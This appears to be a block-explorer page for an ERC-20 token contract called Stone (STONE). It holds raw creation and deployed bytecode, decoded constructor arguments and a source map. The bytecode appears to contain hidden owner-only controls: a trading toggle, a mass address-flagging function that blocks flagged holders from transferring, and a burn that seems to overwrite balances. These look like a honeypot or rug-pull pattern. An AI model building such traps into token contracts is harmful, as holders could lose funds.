ffffffffffffffffffffff16145b15611148576000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561114357600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f185760008114610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a90611c97565b60405180910390fd5b611142565b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fad5760008111610fac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa390611c97565b60405180910390fd5b5b610fb88383836113a3565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561103f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103690611d29565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110d49190611814565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111389190611582565b60405180910390a3505b5b61119f565b60011515600760009054906101000a900460ff1615151461119e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119590611c97565b60405180910390fd5b5b6111aa8383836113a8565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361121e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121590611dbb565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129c90611e4d565b60405180910390fd5b816008546112b39190611e6d565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546113089190611e6d565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161136d9190611582565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113e75780820151818401526020810190506113cc565b60008484015250505050565b6000601f19601f8301169050919050565b600061140f826113ad565b61141981856113b8565b93506114298185602086016113c9565b611432816113f3565b840191505092915050565b600060208201905081810360008301526114578184611404565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061149482611469565b9050919050565b6114a481611489565b81146114af57600080fd5b50565b6000813590506114c18161149b565b92915050565b6000819050919050565b6114da816114c7565b81146114e557600080fd5b50565b6000813590506114f7816114d1565b92915050565b600080604083850312156115145761151361145f565b5b6000611522858286016114b2565b9250506020611533858286016114e8565b9150509250929050565b60008115159050919050565b6115528161153d565b82525050565b600060208201905061156d6000830184611549565b92915050565b61157c816114c7565b82525050565b60006020820190506115976000830184611573565b92915050565b6000806000606084860312156115b6576115b561145f565b5b60006115c4868287016114b2565b93505060206115d5868287016114b2565b92505060406115e6868287016114e8565b9150509250925092565b600060ff82169050919050565b611606816115f0565b82525050565b600060208201905061162160008301846115fd565b92915050565b60006020828403121561163d5761163c61145f565b5b600061164b848285016114b2565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261167957611678611654565b5b8235905067ffffffffffffffff81111561169657611695611659565b5b6020830191508360208202830111156116b2576116b161165e565b5b9250929050565b6116c28161153d565b81146116cd57600080fd5b50565b6000813590506116df816116b9565b92915050565b6000806000604084860312156116fe576116fd61145f565b5b600084013567ffffffffffffffff81111561171c5761171b611464565b5b61172886828701611663565b9350935050602061173b868287016116d0565b9150509250925092565b6000806040838503121561175c5761175b61145f565b5b600061176a858286016114b2565b925050602061177b858286016114b2565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117cc57607f821691505b6020821081036117df576117de611785565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061181f826114c7565b915061182a836114c7565b9250828201905080821115611842576118416117e5565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061187e6020836113b8565b915061188982611848565b602082019050919050565b600060208201905081810360008301526118ad81611871565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006118ee826114c7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036119205761191f6117e5565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119876025836113b8565b91506119928261192b565b604082019050919050565b600060208201905081810360008301526119b68161197a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a196024836113b8565b9150611a24826119bd565b604082019050919050565b60006020820190508181036000830152611a4881611a0c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611aab6022836113b8565b9150611ab682611a4f565b604082019050919050565b60006020820190508181036000830152611ada81611a9e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611b17601d836113b8565b9150611b2282611ae1565b602082019050919050565b60006020820190508181036000830152611b4681611b0a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ba96025836113b8565b9150611bb482611b4d565b604082019050919050565b60006020820190508181036000830152611bd881611b9c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611c3b6023836113b8565b9150611c4682611bdf565b604082019050919050565b60006020820190508181036000830152611c6a81611c2e565b9050919050565b50565b6000611c816000836113b8565b9150611c8c82611c71565b600082019050919050565b60006020820190508181036000830152611cb081611c74565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611d136026836113b8565b9150611d1e82611cb7565b604082019050919050565b60006020820190508181036000830152611d4281611d06565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611da56021836113b8565b9150611db082611d49565b604082019050919050565b60006020820190508181036000830152611dd481611d98565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e376022836113b8565b9150611e4282611ddb565b604082019050919050565b60006020820190508181036000830152611e6681611e2a565b9050919050565b6000611e78826114c7565b9150611e83836114c7565b9250828203905081811115611e9b57611e9a6117e5565b5b9291505056fea26469706673582212201d9a48b9ddc61896972bf4ddd49772a35f9222025896f72b48283809ab1966dd64736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000e8d4a510000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000553746f6e65000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000553544f4e45000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806350465686116100975780639dc29fac116100665780639dc29fac14610288578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b8063504656861461021457806370a082311461023057806391b69fa01461026057806395d89b411461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780634fbee193146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f919061143d565b60405180910390f35b610132600480360381019061012d91906114fd565b6103c6565b60405161013f9190611558565b60405180910390f35b6101506103e9565b60405161015d9190611582565b60405180910390f35b610180600480360381019061017b919061159d565b6103f3565b60405161018d9190611558565b60405180910390f35b61019e610422565b6040516101ab919061160c565b60405180910390f35b6101ce60048036038101906101c991906114fd565b61042b565b6040516101db9190611558565b60405180910390f35b6101fe60048036038101906101f99190611627565b6104d5565b60405161020b9190611558565b60405180910390f35b61022e600480360381019061022991906116e5565b61052b565b005b61024a60048036038101906102459190611627565b610665565b6040516102579190611582565b60405180910390f35b6102686106ae565b005b61027261079c565b60405161027f919061143d565b60405180910390f35b6102a2600480360381019061029d91906114fd565b61082e565b005b6102be60048036038101906102b991906114fd565b6108d1565b6040516102cb9190611558565b60405180910390f35b6102ee60048036038101906102e991906114fd565b6109bb565b6040516102fb9190611558565b60405180910390f35b61031e60048036038101906103199190611745565b6109de565b60405161032b9190611582565b60405180910390f35b606060058054610343906117b4565b80601f016020809104026020016040519081016040528092919081815260200182805461036f906117b4565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b6000806103d1610a65565b90506103de818585610a6d565b600191505092915050565b6000600354905090565b6000806103fe610a65565b905061040b858285610c36565b610416858585610cc2565b60019150509392505050565b60006009905090565b600080610436610a65565b90506104ca818585600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104c59190611814565b610a6d565b600191505092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610533610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b790611894565b60405180910390fd5b60005b8383905081101561065f5781600960008686858181106105e6576105e56118b4565b5b90506020020160208101906105fb9190611627565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610657906118e3565b9150506105c3565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106b6610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a90611894565b60405180910390fd5b60001515600760009054906101000a900460ff1615150361077e576001600760006101000a81548160ff02191690831515021790555061079a565b6000600760006101000a81548160ff0219169083151502179055505b565b6060600680546107ab906117b4565b80601f01602080910402602001604051908101604052809291908181526020018280546107d7906117b4565b80156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b610836610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ba90611894565b60405180910390fd5b6108cd82826111af565b5050565b6000806108dc610a65565b90506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156109a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109999061199d565b60405180910390fd5b6109af8286868403610a6d565b60019250505092915050565b6000806109c6610a65565b90506109d3818585610cc2565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad390611a2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4290611ac1565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c299190611582565b60405180910390a3505050565b6000610c4284846109de565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cbc5781811015610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca590611b2d565b60405180910390fd5b610cbb8484848403610a6d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890611bbf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9790611c51565b60405180910390fd5b60011515600760009054906101000a900460ff1615151480610df45750610dc561137a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610e315750610e0261137a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611148576000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561114357600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f185760008114610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a90611c97565b60405180910390fd5b611142565b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fad5760008111610fac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa390611c97565b60405180910390fd5b5b610fb88383836113a3565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561103f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103690611d29565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110d49190611814565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111389190611582565b60405180910390a3505b5b61119f565b60011515600760009054906101000a900460ff1615151461119e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119590611c97565b60405180910390fd5b5b6111aa8383836113a8565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361121e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121590611dbb565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129c90611e4d565b60405180910390fd5b816008546112b39190611e6d565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546113089190611e6d565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161136d9190611582565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113e75780820151818401526020810190506113cc565b60008484015250505050565b6000601f19601f8301169050919050565b600061140f826113ad565b61141981856113b8565b93506114298185602086016113c9565b611432816113f3565b840191505092915050565b600060208201905081810360008301526114578184611404565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061149482611469565b9050919050565b6114a481611489565b81146114af57600080fd5b50565b6000813590506114c18161149b565b92915050565b6000819050919050565b6114da816114c7565b81146114e557600080fd5b50565b6000813590506114f7816114d1565b92915050565b600080604083850312156115145761151361145f565b5b6000611522858286016114b2565b9250506020611533858286016114e8565b9150509250929050565b60008115159050919050565b6115528161153d565b82525050565b600060208201905061156d6000830184611549565b92915050565b61157c816114c7565b82525050565b60006020820190506115976000830184611573565b92915050565b6000806000606084860312156115b6576115b561145f565b5b60006115c4868287016114b2565b93505060206115d5868287016114b2565b92505060406115e6868287016114e8565b9150509250925092565b600060ff82169050919050565b611606816115f0565b82525050565b600060208201905061162160008301846115fd565b92915050565b60006020828403121561163d5761163c61145f565b5b600061164b848285016114b2565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261167957611678611654565b5b8235905067ffffffffffffffff81111561169657611695611659565b5b6020830191508360208202830111156116b2576116b161165e565b5b9250929050565b6116c28161153d565b81146116cd57600080fd5b50565b6000813590506116df816116b9565b92915050565b6000806000604084860312156116fe576116fd61145f565b5b600084013567ffffffffffffffff81111561171c5761171b611464565b5b61172886828701611663565b9350935050602061173b868287016116d0565b9150509250925092565b6000806040838503121561175c5761175b61145f565b5b600061176a858286016114b2565b925050602061177b858286016114b2565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117cc57607f821691505b6020821081036117df576117de611785565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061181f826114c7565b915061182a836114c7565b9250828201905080821115611842576118416117e5565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061187e6020836113b8565b915061188982611848565b602082019050919050565b600060208201905081810360008301526118ad81611871565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006118ee826114c7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036119205761191f6117e5565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119876025836113b8565b91506119928261192b565b604082019050919050565b600060208201905081810360008301526119b68161197a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a196024836113b8565b9150611a24826119bd565b604082019050919050565b60006020820190508181036000830152611a4881611a0c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611aab6022836113b8565b9150611ab682611a4f565b604082019050919050565b60006020820190508181036000830152611ada81611a9e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611b17601d836113b8565b9150611b2282611ae1565b602082019050919050565b60006020820190508181036000830152611b4681611b0a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ba96025836113b8565b9150611bb482611b4d565b604082019050919050565b60006020820190508181036000830152611bd881611b9c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611c3b6023836113b8565b9150611c4682611bdf565b604082019050919050565b60006020820190508181036000830152611c6a81611c2e565b9050919050565b50565b6000611c816000836113b8565b9150611c8c82611c71565b600082019050919050565b60006020820190508181036000830152611cb081611c74565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611d136026836113b8565b9150611d1e82611cb7565b604082019050919050565b60006020820190508181036000830152611d4281611d06565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611da56021836113b8565b9150611db082611d49565b604082019050919050565b60006020820190508181036000830152611dd481611d98565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e376022836113b8565b9150611e4282611ddb565b604082019050919050565b60006020820190508181036000830152611e6681611e2a565b9050919050565b6000611e78826114c7565b9150611e83836114c7565b9250828203905081811115611e9b57611e9a6117e5565b5b9291505056fea26469706673582212201d9a48b9ddc61896972bf4ddd49772a35f9222025896f72b48283809ab1966dd64736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000e8d4a510000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000553746f6e65000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000553544f4e45000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): Stone
Arg [1] : symbol (string): STONE
Arg [2] : totalSupply (uint256): 1000000000000
Arg [3] : initTransfer (bool): True

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000000000000000000000000000000000e8d4a51000
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [5] : 53746f6e65000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 53544f4e45000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

94:345:5:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2870:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5220:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3989:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6001:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3832:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6705:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2651:149;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13968:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4160:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2483:160;;;:::i;:::-;;3089:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;329:107:5;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7448:438:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4493:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4749:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2870:100;2924:13;2957:5;2950:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2870:100;:::o;5220:201::-;5303:4;5320:13;5336:12;:10;:12::i;:::-;5320:28;;5359:32;5368:5;5375:7;5384:6;5359:8;:32::i;:::-;5409:4;5402:11;;;5220:201;;;;:::o;3989:108::-;4050:7;4077:12;;4070:19;;3989:108;:::o;6001:295::-;6132:4;6149:15;6167:12;:10;:12::i;:::-;6149:30;;6190:38;6206:4;6212:7;6221:6;6190:15;:38::i;:::-;6239:27;6249:4;6255:2;6259:6;6239:9;:27::i;:::-;6284:4;6277:11;;;6001:295;;;;;:::o;3832:92::-;3890:5;3915:1;3908:8;;3832:92;:::o;6705:240::-;6793:4;6810:13;6826:12;:10;:12::i;:::-;6810:28;;6849:66;6858:5;6865:7;6904:10;6874:11;:18;6886:5;6874:18;;;;;;;;;;;;;;;:27;6893:7;6874:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6849:8;:66::i;:::-;6933:4;6926:11;;;6705:240;;;;:::o;2651:149::-;2717:4;2741:42;:51;2784:7;2741:51;;;;;;;;;;;;;;;;;;;;;;;;;2734:58;;2651:149;;;:::o;13968:216::-;785:12:0;:10;:12::i;:::-;775:22;;:6;;;;;;;;;;:22;;;767:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14056:9:1::1;14051:126;14075:4;;:11;;14071:1;:15;14051:126;;;14162:3;14108:42;:51;14151:4;;14156:1;14151:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14108:51;;;;;;;;;;;;;;;;:57;;;;;;;;;;;;;;;;;;14088:3;;;;;:::i;:::-;;;;14051:126;;;;13968:216:::0;;;:::o;4160:127::-;4234:7;4261:9;:18;4271:7;4261:18;;;;;;;;;;;;;;;;4254:25;;4160:127;;;:::o;2483:160::-;785:12:0;:10;:12::i;:::-;775:22;;:6;;;;;;;;;;:22;;;767:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2558:5:1::1;2541:22;;:13;;;;;;;;;;;:22;;::::0;2537:99:::1;;2591:4;2575:13;;:20;;;;;;;;;;;;;;;;;;2537:99;;;2629:5;2613:13;;:21;;;;;;;;;;;;;;;;;;2537:99;2483:160::o:0;3089:104::-;3145:13;3178:7;3171:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3089:104;:::o;329:107:5:-;785:12:0;:10;:12::i;:::-;775:22;;:6;;;;;;;;;;:22;;;767:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;406:22:5::1;412:7;421:6;406:5;:22::i;:::-;329:107:::0;;:::o;7448:438:1:-;7541:4;7558:13;7574:12;:10;:12::i;:::-;7558:28;;7597:24;7624:11;:18;7636:5;7624:18;;;;;;;;;;;;;;;:27;7643:7;7624:27;;;;;;;;;;;;;;;;7597:54;;7690:15;7670:16;:35;;7662:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7783:60;7792:5;7799:7;7827:15;7808:16;:34;7783:8;:60::i;:::-;7874:4;7867:11;;;;7448:438;;;;:::o;4493:193::-;4572:4;4589:13;4605:12;:10;:12::i;:::-;4589:28;;4628;4638:5;4645:2;4649:6;4628:9;:28::i;:::-;4674:4;4667:11;;;4493:193;;;;:::o;4749:151::-;4838:7;4865:11;:18;4877:5;4865:18;;;;;;;;;;;;;;;:27;4884:7;4865:27;;;;;;;;;;;;;;;;4858:34;;4749:151;;;;:::o;862:98:0:-;915:7;942:10;935:17;;862:98;:::o;11387:380:1:-;11540:1;11523:19;;:5;:19;;;11515:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11621:1;11602:21;;:7;:21;;;11594:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11705:6;11675:11;:18;11687:5;11675:18;;;;;;;;;;;;;;;:27;11694:7;11675:27;;;;;;;;;;;;;;;:36;;;;11743:7;11727:32;;11736:5;11727:32;;;11752:6;11727:32;;;;;;:::i;:::-;;;;;;;;11387:380;;;:::o;12054:453::-;12189:24;12216:25;12226:5;12233:7;12216:9;:25::i;:::-;12189:52;;12276:17;12256:16;:37;12252:248;;12338:6;12318:16;:26;;12310:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12422:51;12431:5;12438:7;12466:6;12447:16;:25;12422:8;:51::i;:::-;12252:248;12178:329;12054:453;;;:::o;8365:1131::-;8512:1;8496:18;;:4;:18;;;8488:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8589:1;8575:16;;:2;:16;;;8567:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8663:4;8646:21;;:13;;;;;;;;;;;:21;;;:40;;;;8679:7;:5;:7::i;:::-;8671:15;;:4;:15;;;8646:40;:57;;;;8696:7;:5;:7::i;:::-;8690:13;;:2;:13;;;8646:57;8642:799;;;8741:1;8723:9;:15;8733:4;8723:15;;;;;;;;;;;;;;;;:19;8720:666;;;8762:42;:48;8805:4;8762:48;;;;;;;;;;;;;;;;;;;;;;;;;8758:617;;;8832:1;8822:6;:11;8813:25;;;;;;;;;;;;:::i;